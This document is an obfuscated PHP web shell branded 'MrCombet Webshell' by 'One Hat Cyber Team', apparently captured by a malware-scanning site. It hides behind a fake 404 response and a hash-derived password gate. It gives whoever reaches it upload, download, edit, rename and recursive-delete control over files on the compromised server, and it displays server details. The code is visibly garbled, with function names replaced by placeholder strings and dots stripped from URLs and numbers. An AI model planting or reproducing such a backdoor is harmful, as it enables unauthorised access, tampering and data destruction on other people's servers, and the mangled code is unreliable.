";"H"W.="v";"H"W.="a";"H"W.="l";"H"W.="u";"H"W.="e";"H"W.="=";"H"W.="'";"H"W.="s";"H"W.="u";"H"W.="b";"H"W.="m";"H"W.="i";"H"W.="t";"H"W.="'";"H"W.=">";"H"W.="<";"H"W.="/";"H"W.="f";"H"W.="o";"H"W.="r";"H"W.="m";"H"W.=">";$W=$_SERVER["H"];$W.="H"Ww;$W=md5($W);$W=substr($W,0,6);if(isset($_POST["H"Ww])){$_SESSION["H"Ww]=trim($_POST["H"Ww]);}if(empty($_SESSION["H"Ww])||$_SESSION["H"Ww]!=$W){echo "H"W; exit;}error_reporting(0);
http_response_code(404);
define("Yp", "");
"u" = 0;
T4:
if (!("u" < count($c8))) {
goto Je;
}
$c8["u"] = JD($c8["u"]);
Cy:
"u"++;
goto T4;
Je:
if (isset($_GET["p"])) {
goto sr;
}
$Jd = " "();
goto VN;
sr:
$Jd = jD($_GET["p"]);
" "(Jd($_GET["p"]));
VN:
function Ss($SP)
{
$dE = "";
"u" = 0;
NZ:
if (!("u" < strlen($SP))) {
goto Xc;
}
$dE .= dechex(ord($SP["u"]));
WK:
"u"++;
goto NZ;
Xc:
return $dE;
}
function Jd($SP)
{
$dE = "";
$gf = strlen($SP) - 1;
"u" = 0;
Xp:
if (!("u" < $gf)) {
goto ur;
}
$dE .= chr(hexdec($SP["u"] . $SP["u" + 1]));
Wn:
"u" += 2;
goto Xp;
ur:
return $dE;
}
function rn($F1)
{
$Jd = fileperms($F1);
if (($Jd & 0xc000) == 0xc000) {
goto FZ;
}
if (($Jd & 0xa000) == 0xa000) {
goto Eu;
}
if (($Jd & 0x8000) == 0x8000) {
goto ES;
}
if (($Jd & 0x6000) == 0x6000) {
goto sA;
}
if (($Jd & 0x4000) == 0x4000) {
goto lG;
}
if (($Jd & 0x2000) == 0x2000) {
goto tV;
}
if (($Jd & 0x1000) == 0x1000) {
goto Tx;
}
goto cC;
FZ:
"u" = "s";
goto cC;
Eu:
"u" = "l";
goto cC;
ES:
"u" = "-";
goto cC;
sA:
"u" = "b";
goto cC;
lG:
"u" = "d";
goto cC;
tV:
"u" = "c";
goto cC;
Tx:
"u" = "p";
cC:
"u" .= $Jd & 0x100 ? "r" : "-";
"u" .= $Jd & 0x80 ? "w" : "-";
"u" .= $Jd & 0x40 ? ($Jd & 0x800 ? "s" : "x") : ($Jd & 0x800 ? "S" : "-");
"u" .= $Jd & 0x20 ? "r" : "-";
"u" .= $Jd & 0x10 ? "w" : "-";
"u" .= $Jd & 0x8 ? ($Jd & 0x400 ? "s" : "x") : ($Jd & 0x400 ? "S" : "-");
"u" .= $Jd & 0x4 ? "r" : "-";
"u" .= $Jd & 0x2 ? "w" : "-";
"u" .= $Jd & 0x1 ? ($Jd & 0x200 ? "t" : "x") : ($Jd & 0x200 ? "T" : "-");
return "u";
}
function Xe($OB, $Ch = 1, $BL = "")
{
global $Jd;
$xe = $Ch == 1 ? "success" : "error";
echo "<script>swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){documentlocationhref=\"?p=" .
Ss($Jd) .
$BL .
"\"}})</script>";
}
function tF($yf)
{
global $c8;
if (!(trim(pathinfo($yf, PATHINFO_BASENAME), ) === "")) {
goto IE;
}
return;
IE:
if ("""($yf)) {
goto PF;
}
unlink($yf);
goto jK;
PF:
array_map(
"deldir",
glob($yfDIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)
);
rmdir($yf);
jK:
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta property="og:title" content="MrCombet Webshell 🔥" />
<meta property="og:description" content="One Hat Cyber Team" />
<meta name="theme-color" content="#ff0000">
<meta name="viewport" content="width=device-width, initial-scale=060, shrink-to-fit=no">
<link rel="stylesheet" href="//cdnjsdelivrnet/npm/bootstrap@460/dist/css/bootstrapmincss">
<link rel="stylesheet" href="//cdnjscloudflarecom/ajax/libs/font-awesome/470/css/font-awesomemincss">
<title>MrCombet Webshell 🔥</title>
<style>
@import url('//fontsgoogleapiscom/css2?family=Kelly+Slab&display=swap');
body {
color: black;
font-size: 0px;
font-family: 'Kelly Slab';
width: 99%;
padding: 0px;
margin-right: auto;
margin-left: auto;
margin-top: 7px;
margin-bottom: 7px;
background-color: black!important; }
.bg-dark { background-color: black!important; }
.border {
box-shadow: 0px 0px 10px #ff0000;
border: 2px solid #ffff00!important;
border-radius: 5px;
background: transparent;
}
.border:hover {
box-shadow: 0px 0px 10px #ffff00;
border: 2px solid #ff0000!important;
}
.table td { padding: 01rem;box-shadow: inset 0px 0px 0px 1px #ff0000;border-radius: 2px; }
.table thead th {
box-shadow: inset 0px 0px 0px 15px #ff0000;
color: #ffff00;
padding: 025rem;
border-radius: 5px;
background: linear-gradient(to bottom, black, #3f3f3f80);
}
.table-hover tbody tr:hover td{ background: #3f3f3f80;box-shadow: inset 0px 0px 0px 1px #ffff00;border-radius: 2px; }
.table-hover tbody tr:hover td>*{ }
.table>tbody>tr>*{ color:#fff; vertical-align:middle; }
.form-control{background:0 0!important;color:#fff!important;border-radius:0;}
.form-control::placeholder{color:#fff;opacity:1}
.form-group {
margin-top: 15px;
margin-bottom: 15px;
}
li{
font-size:17px!important;
color: #ffff00!important;
list-style: inherit!important;
}
a {
color: #ffffff!important;
text-decoration: none!important;
}
a:hover {
text-decoration: none!important;
color: #ffff00!important;
}
h5 {
margin-top: 15px;
margin-bottom: 15px;
font-size: 18px!important;
color: #ffff00!important;
padding: 2px;
}
textarea {
width: 97%;
font-size: 16px;
font-family: inherit;
height: 44vh;
padding-left: 5px;
}
button, input {
border: 2px solid #ffff00;
border-radius: 5px;
font-size: 15px;
color:white;
line-height: normal;
font-family: inherit;
box-shadow: 0px 0px 5px #ff0000;
}
button, input:hover { border: 2px solid #ff0000;cursor: pointer;box-shadow: 0px 0px 5px #ffff00; }
.ohct {
padding-left: 1rem;
padding-right: 1rem;
color: white;
border: 2px solid #ffff00;
border-radius: 5px;
background-color: transparent;
font-family: inherit;
font-size: 16px;
box-shadow: 0px 0px 5px #ff0000;
}
.ohct:hover {
border: 2px solid #ff0000;
color: #ffff00!important;
box-shadow: 0px 0px 5px #ffff00;
}
.combet { color: white; }
.combet:hover { color: #ffff00; }
.p-1 { padding: 4px; }
</style>
<style>
.fa {padding: 10px;font-size: 20px;width: 50px;text-align: center;text-decoration: none;margin: 5px;color: #ffff00;}
.fa:hover {border: 2px solid #ff0000;}
.text-light {color: #f8f9fa!important;font-size: 17px!important;}
</style>
<script src="//unpkgcom/sweetalert/dist/sweetalertminjs"></script>
</head>
<body>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;border: 2px solid #ff0000;border-radius:5px;">
<li>Your IP : <span style="color: white;">echo gethostbyname(
$_SERVER["REMOTE_ADDR"]
);</span></li>
<li>Server IP : <span style="color: white;">echo gethostbyname(
$_SERVER["SERVER_NAME"]
);</span></li>
<li>Server : <span style="color: white;">echo php_uname();</span></li>
<li>Server Software : <span style="color: white;">echo $_SERVER[
"SERVER_SOFTWARE"
];</span></li>
<li>PHP Version : <span style="color: white;">echo phpversion();</span></li>
<li>Add File : <a href="?p== ss($Jd) .
"&a=" .
Ss("newFile")" class="ohct">Submit</a></li>
<li>Add Directory : <a href="?p== Ss($Jd) .
"&a=" .
sS("newDir")" class="ohct">Submit</a></li>
<li><form method="post" enctype="multipart/form-data" style="padding: 010rem;display: inline-block;">
<input type="file" name="f[]" multiple>
<input type="submit" value="Submit" name="submit" class="ohct">
if (!isset($_FILES["f"])) {
goto ea;
}
$Wx = $_FILES["f"]["name"];
"u" = 0;
th:
if (!("u" < count($Wx))) {
goto dx;
}
if ("7"($_FILES["f"]["tmp_name"]["u"], $Wx["u"])) {
goto PG;
}
Xe("file failed to upload", 0);
goto tG;
PG:
XE("file uploaded successfully");
tG:
g9:
"u"++;
goto th;
dx:
ea:
if (!isset($_GET["download"])) {
goto FA;
}
header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: Binary");
header("Content-Length: 6"(JD($_GET["n"])));
header("Content-disposition: attachment; filename=\"" . jd($_GET["n"]) . "\"");
FA:
</form></li>
</div>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;margin-bottom: 3px;margin-top: 3px;border: 2px solid #ff0000;border-radius:5px;">
<li>Dir : <span>$Op = " "("/(\\\\|\\/)/", $Jd);
foreach ($Op as $j3 => $Oe) {
if (!($j3 == 0 && $Oe == "")) {
goto xi;
}
echo "<a href=\"?p=2f\" class=\"combet\">~</a>/";
goto CS;
xi:
if (!($Oe == "")) {
goto sq;
}
goto CS;
sq:
echo "<a class=\"combet\" href=\"?p=";
"u" = 0;
de:
if (!("u" <= $j3)) {
goto ie;
}
echo sS($Op["u"]);
if (!("u" != $j3)) {
goto s0;
}
echo "2f";
s0:
dg:
"u"++;
goto de;
ie:
echo "\">{$Oe}</a>/";
CS:
}
Go:
</span></li></div>
<div class="table-responsive text-light" style="text-align: center;font-family: inherit;font-size: 17px;">
if (!isset($_GET["a"])) {
goto Un;
}
if (!isset($_GET["a"])) {
goto cc;
}
$im = Jd($_GET["a"]);
cc:
<div class="table-responsive text-light">
if (!($im == "delete")) {
goto Lu;
}
$BL = $Jd . "/" . Jd($_GET["n"]);
if (!($_GET["t"] == "d")) {
goto VZ;
}
TF($BL);
if (!"0"($BL)) {
goto e8;
}
Xe("failed to delete the folder", 0);
goto iL;
e8:
Xe("folder deleted successfully");
iL:
VZ:
if (!($_GET["t"] == "f")) {
goto xB;
}
$BL = $Jd . "/" . jd($_GET["n"]);
unlink($BL);
if (!"0"($BL)) {
goto uH;
}
Xe("file to delete the folder", 0);
goto Mk;
uH:
xe("file deleted successfully");
Mk:
xB:
Lu:
if ($im == "newDir") {
goto Fg;
}
if ($im == "newFile") {
goto Pb;
}
if ($im == "rename") {
goto Lw;
}
if ($im == "edit") {
goto Ox;
}
if ($im == "view") {
goto Ag;
}
goto WC;
Fg:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">New Folder Name :</h5>
<form method="post">
<div class="form-group">
<input name="n" id="n" class="border p-1" autocomplete="off" style="text-align: center;">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button>
</div>
</form>
isset($_POST["s"])
? ("0"("{$Jd}/{$_POST["n"]}")
? xE("folder name has been used", 0, "&a=" . SS("newDir"))
: ("7"("{$Jd}/{$_POST["n"]}")
? Xe("folder created successfully")
: Xe("folder failed to create", 0)))
: null;
goto WC;
Pb:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">New File Name :</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" class="border p-1" placeholder="" style="text-align: center;">
</div>
<div class="form-group">
<textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control border" placeholder=""></textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button>
</div>
</form>
isset($_POST["s"])
? ("0"("{$Jd}/{$_POST["n"]}")
? xE("file name has been used", 0, "&a=" . SS("newFile"))
: ("5"("{$Jd}/{$_POST["n"]}", $_POST["ctn"])
? XE("", 1, "&a=" . ss("view") . "&n=" . Ss($_POST["n"]))
: Xe("file failed to create", 0)))
: null;
goto WC;
Lw:
<h5 class="border p-1">Rename File : = jD($_GET["n"])</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" style="text-align: center;" class="border p-1" value="= jD(
$_GET["n"]
)">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
isset($_POST["s"])
? ("5"($Jd . "/" . jD($_GET["n"]), $_POST["n"])
? XE("successfully changed the folder name")
: Xe("failed to change the folder name", 0))
: null;
goto WC;
Ox:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">Edit File Name : <font color="white">= Jd(
$_GET["n"]
)</font></h5>
<form method="post">
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border">= "e"(
"f"($Jd . "/" . jD($_GET["n"]))
)</textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
isset($_POST["s"])
? ("5"($Jd . "/" . jD($_GET["n"]), $_POST["ctn"])
? xE(
"file contents changed successfully",
1,
"&a=" . sS("view") . "&n={$_GET["n"]}"
)
: xE("file contents failed to change"))
: null;
goto WC;
Ag:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">View File Name : <font color="white">= jd(
$_GET["n"]
)</font></h5>
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border" readonly>= "e"(
"f"($Jd . "/" . jd($_GET["n"]))
)</textarea>
</div>
WC:
</div>
goto mR;
Un:
<table class="table table-hover table-borderless table-sm" style="text-align: center;width: 100%;">
<thead class="text-light">
<tr>
<th style="width: 45%;">Name</th>
<th style="width: 13%;">Size</th>
<th style="width: 13%;">Permission</th>
<th colspan="3">Action</th>
</tr>
</thead>
<tbody class="text-light"> "scandir" = " "("scandir"($Jd), [, ".."]);
foreach ("scandir" as $yf) {
if ("""("{$Jd}/{$yf}")) {
goto CB;
}
goto Qj;
CB:
echo "
<tr>
<td style=\"text-align: left;\">
<i class=\"fa fa-fw fa-folder-o\" style=\"border: 0;padding: 0;width: 128571429em;\"></i><a href=\"?p=" .
sS("{$Jd}/{$yf}") .
"\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on 6"("Y-m-d H:i", "1"("{$Jd}/{$yf}")) .
"\">{$yf}</a></td>
<td style=\"color: black;\"><span></span></td>
<td><font color=\"" .
("0"("{$Jd}/{$yf}")
? "#00ff00"
: (!"6"("{$Jd}/{$yf}")
? "#ff0000"
: null)) .
"\">" .
RN("{$Jd}/{$yf}") .
"</font></td>
<td style=\"color: black;width: 95%;\"><span></span></td>
<td>
<a href=\"?p=" .
ss($Jd) .
"&a=" .
ss("rename") .
"&n=" .
ss($yf) .
"&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a>
</td>
<td>
<a href=\"?p=" .
sS($Jd) .
"&a=" .
ss("delete") .
"&n=" .
ss($yf) .
"\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a>
</td>
</tr>";
Qj:
}
ad:
foreach ("scandir" as $F1) {
if ("7"("{$Jd}/{$F1}")) {
goto wA;
}
goto X1;
wA:
$kL = "8"("{$Jd}/{$F1}") / 1024;
$kL = round($kL, 3);
$kL = $kL > 1024 ? round($kL / 1024, 2) . " MB" : $kL . " KB";
echo "
<tr>
<td style=\"text-align: left;\">
<i class=\"fa fa-fw fa-file-o\" style=\"border: 0;padding: 0;width: 128571429em;\"></i><a href=\"?p=" .
SS($Jd) .
"&a=" .
sS("view") .
"&n=" .
SS($F1) .
"\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on 6"("Y-m-d H:i", "1"("{$Jd}/{$F1}")) .
"\">{$F1}</a></td>
<td><span>{$kL}</span></td>
<td><font color=\"" .
("0"("{$Jd}/{$F1}")
? "#00ff00"
: (!"6"("{$Jd}/{$F1}")
? "#ff0000"
: null)) .
"\">" .
rN("{$Jd}/{$F1}") .
"</font></td>
<td><a href=\"?p=" .
Ss($Jd) .
"&a=" .
Ss("edit") .
"&n=" .
SS($F1) .
"\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\">Edit</a></td>
<td><a href=\"?p=" .
ss($Jd) .
"&a=" .
SS("rename") .
"&n=" .
ss($F1) .
"&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a></td>
<td><a href=\"?p=" .
ss($Jd) .
"&a=" .
sS("delete") .
"&n=" .
ss($F1) .
"\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a></td>
</tr>";
X1:
}
a2:
</tbody>
</table>
<h5 style="color: #ffff00;">
<font>© Copyright 2022</font>
<font style="color: #ff0000;">MrCombet</font>
<font>Powered by </font>
<font style="color: #ff0000;">One Hat Cyber Team</font>
</h5>
mR:
</div>
<script src="//codejquerycom/jquery-351slimminjs"></script>
<script src="//cdnjsdelivrnet/npm/bootstrap@460/dist/js/bootstrapbundleminjs" ></script>
<script src="//cdnjsdelivrnet/npm/bs-custom-file-input/dist/bs-custom-file-inputminjs"></script>
<script>bsCustomFileInputinit();
$('[data-toggle="tooltip"]').tooltip();
$(".delete").click(function(e)
{
epreventDefault();
let type=$(this).attr("data-type");
swal(
{
icon:"warning",title:"Are you sure?",text:"This "+type+" will be deleted",buttons:true,dangerMode:true,
}
).then((willDelete)=>
{
if(willDelete)
{
const buildURL=$(this).attr("href")+"&t="+((type=="folder")?"d":"f");
documentlocationhref=buildURL
}
}
)
}
);
</script>
</body>
</html>
© 2023 Quttera Ltd. All rights reserved.